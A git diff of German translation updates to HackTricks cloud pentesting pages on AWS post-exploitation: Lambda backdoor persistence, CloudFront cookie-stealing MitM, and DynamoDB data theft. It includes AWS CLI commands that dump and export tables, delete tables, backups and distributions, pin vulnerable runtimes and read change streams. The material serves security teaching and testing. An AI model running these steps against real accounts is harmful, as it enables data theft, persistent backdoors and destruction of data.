mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 13:43:24 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Translator
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
|
||||
|
||||
### Lambda Layer Persistenz
|
||||
|
||||
Es ist möglich, **introduce/backdoor a layer to execute arbitrary code** wenn die Lambda auf eine unauffällige Weise ausgeführt wird:
|
||||
Es ist möglich, **introduce/backdoor a layer to execute arbitrary code** wenn die Lambda auf unauffällige Weise ausgeführt wird:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistenz
|
||||
|
||||
Durch Missbrauch von Lambda Layers ist es auch möglich, Extensions zu missbrauchen und in der Lambda persistent zu bleiben, sowie Requests zu stehlen und zu modifizieren.
|
||||
Durch Missbrauch von Lambda Layers ist es außerdem möglich, Extensions zu missbrauchen und in der Lambda persistent zu bleiben sowie Requests zu stehlen und zu verändern.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
Es ist möglich, externen Accounts Zugriff auf verschiedene Lambda-Aktionen (wie invoke oder update code) zu gewähren:
|
||||
Es ist möglich, externen Accounts Zugriff auf verschiedene Lambda-Aktionen (z. B. invoke oder update code) zu gewähren:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versionen, Aliases & Weights
|
||||
|
||||
Eine Lambda kann **different versions** (mit unterschiedlichem Code pro Version) haben.\
|
||||
Dann kannst du **different aliases with different versions** der Lambda erstellen und jedem unterschiedliche Weights zuweisen.\
|
||||
Auf diese Weise könnte ein Angreifer eine **backdoored version 1** und eine **version 2 with only the legit code** erstellen und **only execute the version 1 in 1%** der Requests, um unauffällig zu bleiben.
|
||||
Eine Lambda kann **verschiedene Versionen** haben (jede Version mit unterschiedlichem Code).\
|
||||
Anschließend kannst du **verschiedene aliases mit unterschiedlichen Versionen** der Lambda erstellen und jedem unterschiedliche weights zuweisen.\
|
||||
Auf diese Weise könnte ein Angreifer eine **backdoored version 1** und eine **version 2 mit nur dem legitimen Code** erstellen und **die version 1 nur in 1% der Requests** ausführen, um unauffällig zu bleiben.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Kopiere den Originalcode der Lambda
|
||||
2. **Create a new version backdooring** den Originalcode (oder nur mit malicious code). Publish und **deploy that version** zu $LATEST
|
||||
1. Rufe das API Gateway, das mit der Lambda verknüpft ist, auf, um den Code auszuführen
|
||||
3. **Create a new version with the original code**, Publish und deploy that **version** zu $LATEST.
|
||||
1. Das wird den backdoored code in einer vorherigen Version verbergen
|
||||
4. Gehe zum API Gateway und **create a new POST method** (oder wähle eine andere Methode), die die backdoored version der Lambda ausführt: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Beachte das abschließende :1 der arn **indicating the version of the function** (Version 1 wird in diesem Szenario die backdoored sein).
|
||||
5. Wähle die erstellte POST-Methode und unter Actions **`Deploy API`**
|
||||
6. Jetzt wird, wenn du die Funktion per POST aufrufst, deine **Backdoor** ausgelöst
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
Die Tatsache, dass man Lambda-Funktionen ausführen lassen kann, wenn etwas passiert oder nach Zeitintervallen, macht Lambda zu einem häufig genutzten Weg, um Persistenz zu erreichen und Entdeckung zu vermeiden.\
|
||||
Hier einige Ideen, um deine **presence in AWS more stealth by creating lambdas**.
|
||||
Die Tatsache, dass man **Lambda-Funktionen ausführen lassen kann, wenn etwas passiert oder nachdem Zeit vergeht**, macht Lambda zu einer beliebten Methode, um Persistenz zu erlangen und Erkennung zu vermeiden.\
|
||||
Hier sind einige Ideen, wie du deine **Präsenz in AWS unauffälliger gestalten kannst, indem du Lambdas erstellst**.
|
||||
|
||||
- Jedes Mal, wenn ein neuer user erstellt wird, generiert Lambda einen neuen user key und sendet ihn an den Angreifer.
|
||||
- Jedes Mal, wenn eine neue role erstellt wird, gewährt Lambda kompromittierten Benutzern die assume role Berechtigungen.
|
||||
- Jedes Mal, wenn ein neuer User erstellt wird, generiert die Lambda einen neuen User-Key und sendet ihn an den Angreifer.
|
||||
- Jedes Mal, wenn eine neue Rolle erstellt wird, erteilt die Lambda kompromittierten Benutzern 'assume role'-Berechtigungen.
|
||||
- Jedes Mal, wenn neue CloudTrail-Logs erzeugt werden, lösche/verändere sie
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Missbrauche die Umgebungsvariable `AWS_LAMBDA_EXEC_WRAPPER`, um ein vom Angreifer kontrolliertes Wrapper-Skript auszuführen, bevor der runtime/handler startet. Liefere den Wrapper über ein Lambda Layer unter `/opt/bin/htwrap`, setze `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` und rufe dann die Funktion auf. Der Wrapper läuft im Runtime-Prozess der Funktion, erbt die function execution role und `exec`t schließlich das echte Runtime, sodass der ursprüngliche Handler normal weiterläuft.
|
||||
Missbrauche die Environment-Variable `AWS_LAMBDA_EXEC_WRAPPER`, um ein vom Angreifer kontrolliertes Wrapper-Skript auszuführen, bevor der runtime/handler startet. Liefere den Wrapper über einen Lambda Layer unter `/opt/bin/htwrap`, setze `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` und rufe dann die Funktion auf. Der Wrapper läuft im Prozess des Function-Runtimes, erbt die Function Execution Role und führt schließlich per `exec` den echten Runtime aus, sodass der ursprüngliche Handler weiterhin normal ausgeführt wird.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Missbrauche Lambda asynchronous destinations zusammen mit der Recursion-Konfiguration, um eine Funktion sich kontinuierlich selbst neu aufrufen zu lassen, ohne externen Scheduler (kein EventBridge, cron, etc.). Standardmäßig beendet Lambda rekursive Schleifen, aber durch Setzen der recursion config auf Allow werden sie wieder aktiviert. Destinations liefern auf Service-Seite bei async invokes, sodass ein einzelner seed invoke ein unauffälliges, code-freies heartbeat/backdoor channel erzeugt. Optional mit reserved concurrency drosseln, um das Noise niedrig zu halten.
|
||||
Missbrauche Lambda asynchronous destinations zusammen mit der Recursion-Konfiguration, um eine Funktion kontinuierlich sich selbst erneut aufrufen zu lassen, ohne externen Scheduler (kein EventBridge, cron, etc.). Standardmäßig beendet Lambda rekursive Schleifen, aber das Setzen der Recursion-Konfiguration auf Allow ermöglicht sie wieder. Destinations liefern serverseitig für asynchrone Aufrufe, sodass ein einzelner Seed-Invoke einen unauffälligen, code-freien Heartbeat-/Backdoor-Kanal erzeugt. Optional mit reserved concurrency drosseln, um Lärm gering zu halten.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
@@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Erstelle eine versteckte Lambda-Version mit Angreifer-Logik und scope eine resource-based policy auf diese spezifische Version (oder alias) mittels des `--qualifier` Parameters in `lambda add-permission`. Gewähre nur `lambda:InvokeFunction` auf `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` an ein Angreifer-Prinzipal. Normale Invocations über den Funktionsnamen oder den primären Alias bleiben unbeeinträchtigt, während der Angreifer die backdoored version ARN direkt aufrufen kann.
|
||||
Erstelle eine versteckte Lambda-Version mit Angreifer-Logik und scope eine resource-based policy auf diese spezifische Version (oder Alias) mittels des Parameters `--qualifier` in `lambda add-permission`. Gewähre einem Angreifer-Principal nur `lambda:InvokeFunction` auf `arn:aws:lambda:REGION:ACCT:function:FN:VERSION`. Normale Aufrufe über den Funktionsnamen oder primären Alias bleiben unberührt, während der Angreifer die backdoored Version-ARN direkt aufrufen kann.
|
||||
|
||||
Das ist unauffälliger als das Exponieren einer Function URL und ändert den primären Traffic-Alias nicht.
|
||||
Das ist unauffälliger als das Exponieren einer Function URL und ändert nicht den primären Traffic-Alias.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
Ein Angreifer, der über die Berechtigungen lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig und lambda:GetRuntimeManagementConfig verfügt, kann die Runtime-Management-Konfiguration einer Funktion ändern. Dieser Angriff ist besonders effektiv, wenn das Ziel darin besteht, eine Lambda-Funktion auf einer verwundbaren Runtime-Version zu halten oder die Kompatibilität mit bösartigen Layern zu bewahren, die mit neueren Runtimes inkompatibel sein könnten.
|
||||
|
||||
Der Angreifer verändert die Runtime-Management-Konfiguration, um die Runtime-Version festzuspinnen:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
Überprüfen Sie die angewandte Konfiguration:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
Optional: Eine bestimmte Runtime-Version festlegen
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Auf eine bestimmte Runtime-Version festlegen:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,22 +10,31 @@ Für weitere Informationen siehe:
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
Ein Angreifer, dem cloudfront:Delete* gewährt wurde, kann distributions, policies und andere kritische CDN-Konfigurationsobjekte löschen — zum Beispiel distributions, cache/origin policies, key groups, origin access identities, functions/configs und verwandte Ressourcen. Dies kann zu Dienstunterbrechungen, Datenverlust sowie zum Entfernen von Konfigurations- oder forensischen Artefakten führen.
|
||||
|
||||
Um eine distribution zu löschen, könnte ein Angreifer Folgendes verwenden:
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
--if-match <ETAG>
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt ein paar verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder modifiziert, falls sie bereits verwendet wird) in eine **Kommunikation durch CloudFront** werden könnte, mit dem Zweck, Benutzerinformationen zu **stehlen** (wie das Session **cookie**) und die **Antwort** zu **modifizieren** (Einfügen eines bösartigen JS-Skripts).
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt ein paar verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder geändert, falls sie bereits verwendet wird) in eine **Kommunikation durch CloudFront** eingebunden werden könnte, mit dem Ziel, Benutzerinformationen zu **stehlen** (wie das Session-**cookie**) und die **response** zu **modifizieren** (Injektion eines bösartigen JS-Skripts).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
#### Szenario 1: MitM, bei dem CloudFront so konfiguriert ist, dass es auf HTML eines bucket zugreift
|
||||
|
||||
- **Erstelle** die bösartige **Funktion**.
|
||||
- **Verknüpfe** sie mit der CloudFront-Distribution.
|
||||
- Setze den **Event-Typ auf "Viewer Response"**.
|
||||
- **Erstelle** die bösartige **function**.
|
||||
- **Verknüpfe** sie mit der CloudFront distribution.
|
||||
- Setze den **event type** auf "Viewer Response".
|
||||
|
||||
Indem man die Antwort ausliest, könnte man das Session cookie des Benutzers stehlen und ein bösartiges JS injizieren.
|
||||
Durch Zugriff auf die Antwort könnte man das cookie der Benutzer stehlen und bösartiges JS injizieren.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
#### Szenario 2: MitM, bei dem CloudFront bereits eine lambda function verwendet
|
||||
|
||||
- **Ändere den Code** der Lambda-Funktion, um sensible Informationen zu stehlen
|
||||
- **Ändere den Code** der lambda function, um sensible Informationen zu stehlen
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
Sie können den [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) auf GitHub einsehen.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann **Elemente aus Tabellen anhand des Primärschlüssels abrufen** (du kannst nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst diese erhalten, indem du die Tabellen-Metadaten abrufst (`describe-table`).
|
||||
Ein attacker mit diesen Berechtigungen kann **Einträge aus Tabellen anhand des Primärschlüssels abrufen** (du kannst nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst diese durch Abrufen der Tabellenmetadaten (`describe-table`) erhalten).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Mögliche Auswirkungen:** Indirekter privesc durch das Auffinden sensibler Informationen in der Tabelle
|
||||
**Potential Impact:** Indirektes privesc durch Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Ähnlich wie bei den vorherigen Berechtigungen** ermöglicht diese, dass ein potenzieller Angreifer Werte aus nur einer Tabelle lesen kann, sofern der Primärschlüssel des abzurufenden Eintrags bekannt ist:
|
||||
**Ähnlich wie bei den vorherigen Berechtigungen** erlaubt es einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Mit dieser Berechtigung ist es auch möglich, die Methode **`transact-get-items`** wie folgt zu verwenden:
|
||||
Mit dieser Berechtigung ist es auch möglich, die **`transact-get-items`**-Methode wie folgt zu verwenden:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Potentielle Auswirkung:** Indirect privesc durch das Auffinden sensibler Informationen in der Tabelle
|
||||
**Mögliche Auswirkungen:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Ähnlich zu den vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist. Sie erlaubt die Nutzung eines [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der vorhanden sein muss) erlaubt ist, ist "EQ", sodass du nicht per Vergleich die gesamte DB in einer Anfrage abrufen kannst.
|
||||
**Ähnlich wie bei den vorherigen Berechtigungen** erlaubt diese Permission einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags vorliegt. Sie erlaubt die Verwendung einer [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der vorhanden sein muss) erlaubt ist, ist "EQ", daher kann man mit einem Vergleich nicht die gesamte Datenbank in einer Anfrage abrufen.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potentielle Auswirkung:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
|
||||
**Potentielle Auswirkung:** Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Sie können diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
|
||||
Sie können diese Berechtigung verwenden, um **dump the entire table easily**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Potentielle Auswirkungen:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
|
||||
**Potentielle Auswirkung:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Du kannst diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
|
||||
Sie können diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Diese Berechtigung erlaubt es außerdem, `batch-execute-statement` auszuführen, z. B.:
|
||||
Diese Berechtigung erlaubt außerdem das Ausführen von `batch-execute-statement`, zum Beispiel:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
Man muss jedoch den Primärschlüssel mit einem Wert angeben, daher ist es nicht sehr nützlich.
|
||||
Aber du musst den Primärschlüssel mit einem Wert angeben, daher ist es nicht sehr nützlich.
|
||||
|
||||
**Mögliche Auswirkung:** Indirekter privesc durch das Auffinden sensibler Informationen in der Tabelle
|
||||
**Potential Impact:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Diese Berechtigung erlaubt einem Angreifer, **die gesamte Tabelle in einen von ihm gewählten S3-Bucket zu exportieren**:
|
||||
Diese Berechtigung erlaubt einem Angreifer, die **gesamte Tabelle in einen S3-Bucket** seiner Wahl zu exportieren:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,34 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Beachte, dass dafür point-in-time-recovery auf der Tabelle aktiviert sein muss; du kannst prüfen, ob die Tabelle das hat mit:
|
||||
Beachte, dass dafür die Tabelle point-in-time-recovery aktiviert haben muss. Du kannst prüfen, ob die Tabelle dies hat mit:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Wenn es nicht aktiviert ist, müssen Sie es **aktivieren**, und dafür benötigen Sie die Berechtigung **`dynamodb:ExportTableToPointInTime`**:
|
||||
Wenn es nicht aktiviert ist, musst du es **aktivieren** und dafür benötigst du die Berechtigung **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Mögliche Auswirkungen:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
|
||||
**Potential Impact:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
|
||||
Mit diesen Berechtigungen könnte ein Angreifer **eine neue Tabelle aus einem Backup erstellen** (oder sogar ein Backup erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Dann könnte er mit den notwendigen Berechtigungen **Informationen** aus den Backups prüfen, die n**icht mehr in der Produktions** tabelle.
|
||||
Mit diesen Berechtigungen könnte ein Angreifer **eine neue Tabelle aus einem Backup erstellen** (oder sogar ein Backup erstellen, um es anschließend in einer anderen Tabelle wiederherzustellen). Dann könnte er mit den notwendigen Rechten **Informationen** aus den Backups prüfen, die n**icht mehr in der Produktion** Tabelle.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Mögliche Auswirkungen:** Indirekter privesc durch Auffinden sensibler Informationen im Tabellen-Backup
|
||||
**Mögliche Auswirkungen:** Indirektes privesc durch Auffinden sensibler Informationen im Tabellen-Backup
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Diese Berechtigung erlaubt es Benutzern, ein **neues Item in die Tabelle hinzuzufügen oder ein bestehendes Item** durch ein neues Item zu ersetzen. Wenn ein Item mit demselben Primärschlüssel bereits existiert, wird das **gesamte Item durch das neue Item ersetzt**. Falls der Primärschlüssel nicht existiert, wird ein neues Item mit dem angegebenen Primärschlüssel **erstellt**.
|
||||
Diese Berechtigung erlaubt Benutzern, ein **neues Item zur Tabelle hinzuzufügen oder ein vorhandenes Item durch ein neues zu ersetzen**. Wenn ein Item mit demselben Primärschlüssel bereits existiert, wird das **gesamte Item durch das neue Item ersetzt**. Wenn der Primärschlüssel nicht existiert, wird ein neues Item mit dem angegebenen Primärschlüssel **erstellt**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -203,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potentieller Einfluss:** Ausnutzung weiterer Schwachstellen/Bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
|
||||
**Potentielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Diese Berechtigung erlaubt es Benutzern, **die vorhandenen Attribute eines Items zu ändern oder einem Item neue Attribute hinzuzufügen**. Sie **ersetzt nicht** das gesamte Item; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel in der Tabelle nicht existiert, erstellt die Operation **ein neues Item** mit dem angegebenen Primärschlüssel und setzt die im Update-Ausdruck angegebenen Attribute.
|
||||
Diese Berechtigung erlaubt Benutzern, die vorhandenen Attribute eines Items zu **ändern oder neue Attribute zu einem Item hinzuzufügen**. Sie **ersetzt nicht** das gesamte Item; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle existiert, wird die Operation ein **neues Item erstellen** mit dem angegebenen Primärschlüssel und die in der Update-Expression angegebenen Attribute setzen.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -243,34 +242,34 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potenzielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/Bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen oder zu ändern
|
||||
**Potentielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann **eine DynamoDB-Tabelle löschen, was zu Datenverlust führt**
|
||||
Ein Angreifer mit dieser Berechtigung kann **eine DynamoDB-Tabelle löschen, was zu Datenverlust führt**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Mögliche Auswirkungen**: Datenverlust und Unterbrechung von Diensten, die von der gelöschten Tabelle abhängen.
|
||||
**Mögliche Auswirkungen**: Datenverlust und Beeinträchtigung von Diensten, die von der gelöschten Tabelle abhängen.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann **ein DynamoDB-Backup löschen, was im Falle eines Disaster-Recovery-Szenarios potenziell zu Datenverlust führen kann**.
|
||||
Ein Angreifer mit dieser Berechtigung kann **ein DynamoDB-Backup löschen, wodurch möglicherweise Datenverlust im Katastrophenfall entsteht**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: Datenverlust und die Unfähigkeit, während eines Disaster-Recovery-Szenarios aus einem Backup wiederherzustellen.
|
||||
**Potenzielle Auswirkungen**: Datenverlust und Unfähigkeit, im Rahmen eines Disaster-Recovery-Szenarios aus einem Backup wiederherzustellen.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testen, ob das tatsächlich funktioniert
|
||||
> TODO: Prüfen, ob das tatsächlich funktioniert
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, damit Änderungen gestreamt werden, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dadurch kann der Angreifer Änderungen überwachen und exfiltrate data changes, was möglicherweise zu data leakage führt.
|
||||
Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, um mit dem Streaming von Änderungen zu beginnen, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dies ermöglicht dem Angreifer, Änderungen zu überwachen und exfiltrate data changes, was möglicherweise zu data leakage führt.
|
||||
|
||||
1. Einen Stream auf einer DynamoDB-Tabelle aktivieren:
|
||||
```bash
|
||||
@@ -279,13 +278,13 @@ aws dynamodb update-table \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Beschreibe den Stream, um die ARN und weitere Details zu erhalten:
|
||||
2. Beschreibe den Stream, um die ARN und andere Details zu erhalten:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Den shard iterator mit der stream ARN abrufen:
|
||||
3. Holen Sie den shard iterator mithilfe der stream ARN:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -293,19 +292,19 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Verwende den shard iterator, um auf den stream zuzugreifen und Daten daraus zu exfiltrate:
|
||||
4. Verwende den shard iterator, um auf Daten aus dem Stream zuzugreifen und sie zu exfiltrieren:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Mögliche Auswirkungen**: Echtzeitüberwachung und data leak von Änderungen an der DynamoDB-Tabelle.
|
||||
